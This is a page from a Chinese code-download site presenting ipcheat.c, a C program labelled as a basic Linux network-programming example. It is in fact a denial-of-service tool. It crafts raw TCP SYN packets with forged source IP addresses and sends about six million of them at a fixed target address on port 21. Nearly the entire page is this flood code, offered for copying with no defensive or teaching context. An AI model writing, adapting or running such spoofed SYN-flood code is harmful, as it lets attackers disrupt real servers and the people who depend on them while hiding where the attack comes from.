⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ipcheat.c

📁 LinuxNetProgramming Linux网络编程基础实例
💻 C
字号:
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netinet/ip.h>   /* ip*/
#include <netinet/tcp.h> /* tcp*/
#include <stdlib.h>


/* 校验和涵数 ip头 */
unsigned short csum (unsigned short *packet, int packlen)
{
register unsigned long sum = 0;
while (packlen > 1) {
sum+= *(packet++);
		packlen-=2;
	}
	if (packlen > 0)
		sum += *(unsigned char *)packet;
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);

	return (unsigned short) ~sum;
}
/* 校验和涵数 tcp头 */
unsigned short tcpcsum (unsigned char *iphdr, unsigned short *packet,int packlen) 
{
unsigned short 	*buf;
	unsigned short 	res;
	buf = malloc(packlen+12);
	if(buf == NULL)
return 0;
	memcpy(buf,iphdr+12,8);			/* 源IP地址和目标IP地址*/
	*(buf+4) = htons((unsigned short)(*(iphdr+9)));
	*(buf+5) = htons((unsigned short)packlen);
	memcpy(buf+6,packet,packlen);
	res = csum(buf,packlen+12);
	free(buf);
	return res;
}

char srcip[]="100.100.100.100",dstip[]="192.168.11.118";			/*发送IP和目标IP */
int	srcport=99,dstport=21; 			/* 发送端IP端口 目标IP端口 */

int main()
{
	int sock,bytes_send,fromlen,n,id,s;
	unsigned char buffer[65535];
	struct sockaddr_in toaddr;
	struct ip  *ip;
	struct tcphdr *tcp;
	for (n=0;n<60000;n++ )
	{
		buffer[n]=0;
	}
	/* 发送地址 */
	toaddr.sin_family =AF_INET;
	inet_aton(dstip,&toaddr.sin_addr);			/* 字符串转入地址*/
	/* 建立原始TCP包方式IP+TCP信息包 */
	sock = socket(AF_INET, SOCK_RAW,IPPROTO_RAW);	/* IP方式 */
	if (sock>0)
	{
		printf("socket ok\n");
	}
	else
	{
		printf ("socket error \n");
	}
	n=1;
	if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &n, sizeof(n)) < 0)
	{
		printf("2");
		perror("IP_HDRINCL");
		exit(1);
	}
	ip=(struct ip *)buffer;
	ip->ip_id=0x9911;
	ip->ip_v=4;
	ip->ip_hl=5;
	ip->ip_ttl=36;
	ip->ip_p=6;			/* tcp 为6 */
	ip->ip_len=htons(60);
	inet_aton(dstip,&ip->ip_dst);
	tcp = (struct tcphdr *)(buffer + (4*ip->ip_hl));
	tcp->source=htons(srcport);			/* 源端口 */
	tcp->dest=htons(dstport);
	tcp->seq=htons(0x9990);
	tcp->doff=0x15;
	tcp->ack_seq=0;
	tcp->syn=1;
	tcp->window=htons(0x20);
	inet_aton(srcip,&ip->ip_src);

	for (n=1;n<6000000;n++ )
	{
		ip->ip_src.s_addr=htonl(0x09010101+n);
		tcp->check=0x0;
		tcp->check=tcpcsum((unsigned char *)buffer, (unsigned short *)tcp,40);
		ip->ip_sum=0;
		ip->ip_sum=csum((unsigned short *)buffer,20);
		bytes_send=sendto(sock,buffer,60,0,(struct sockaddr *)&toaddr,sizeof(toaddr));
	}
	if (bytes_send>0)
	{
		printf("OK bytes_send %d \n",bytes_send);
		printf("IP_source address ::: %s \n",inet_ntoa(ip->ip_src));
		printf("IP_dest address ::: %s \n",inet_ntoa(ip->ip_dst));
	}
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -